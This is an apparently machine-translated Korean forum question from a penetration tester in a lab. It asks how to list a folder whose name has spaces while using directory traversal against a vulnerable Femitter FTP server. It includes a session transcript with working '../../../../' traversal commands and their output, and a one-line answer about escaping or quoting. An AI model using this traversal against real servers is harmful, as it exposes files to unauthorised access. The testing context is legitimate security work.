닫힌 참조 환경에서 제재 된 반항을 수행하고 있으며 겉으로는 단순한 문제로 어려움을 겪고 있으며 현재 해결할 수 없습니다.
MS Windows OS에서 실행되는 취약한 Fermitter FTP 서버에 대해 디렉토리 순회 공격을 시도 할 때 시스템 루트에서 LIST를 수행 할 수 있습니다 (주소 및 컨텐츠 목록은 참조 용으로 만 변경됨).
# ftp 192.168.13.22
Connected to 192.168.13.22.
220 Femitter FTP Server ready.
Name (192.168.13.22:root):
331 Password required for root.
Password:
230 User root logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls ../../../../
200 Port command successful.
150 Opening data connection for directory list.
-rwxrwxrwx 1 ftp ftp 0 Sep 23 2015 AUTOEXEC.BAT
-rw-rw-rw- 1 ftp ftp 0 Sep 23 2015 CONFIG.SYS
drw-rw-rw- 1 ftp ftp 0 Sep 23 2015 Documents and Settings
dr--r--r-- 1 ftp ftp 0 Sep 23 2015 Program Files
drw-rw-rw- 1 ftp ftp 0 Sep 23 2015 WINDOWS
226 File sent ok
그러나와 같은 공백이 포함 된 폴더의 내용 Documents and settings을 나열하려면 공백이 무시되어 디렉토리 내용을 나열 할 수 없습니다.
ftp> ls ../../../../documents and settings/
usage: ls remote-directory local-file
ftp> ls ../../../../documents\ and\ settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls ../../../../documents%20and%20settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents%20and%20settings not found
226 File sent ok
ftp> ls ../../../../'documents and settings'/
usage: ls remote-directory local-file
ftp> ls ../../../../"documents and settings"/
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls "../../../../documents and settings/"
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
이미 다른 FTP 클라이언트 (Linux 및 Windows의 CLI 및 GUI)를 사용하려고 시도했으며 공백을 무시하거나 디렉토리 통과를 허용하지 않습니다.
또한 처음에는 원시 소켓을 사용하고 ftplib를 사용하여 HEX 형식의 명령을 FTP 서버에 직접 보내서 Python에 대한 공격을 스크립팅했지만 성공하지 못했습니다.
몇 시간 동안 인터넷 검색을 수행해도 해결 방법이 없었습니다 (예, 많은 옵션이 있었지만 작동하지 않았습니다). 그래서 같은 문제를 가진 사람이 여기 있습니다. 공백이있는 디렉토리 탐색이 필요한 것은 이번이 처음이 아닙니다.
\디렉토리 문자열로 공백을 이스케이프 처리 하거나 디렉토리 문자열을 인용하십시오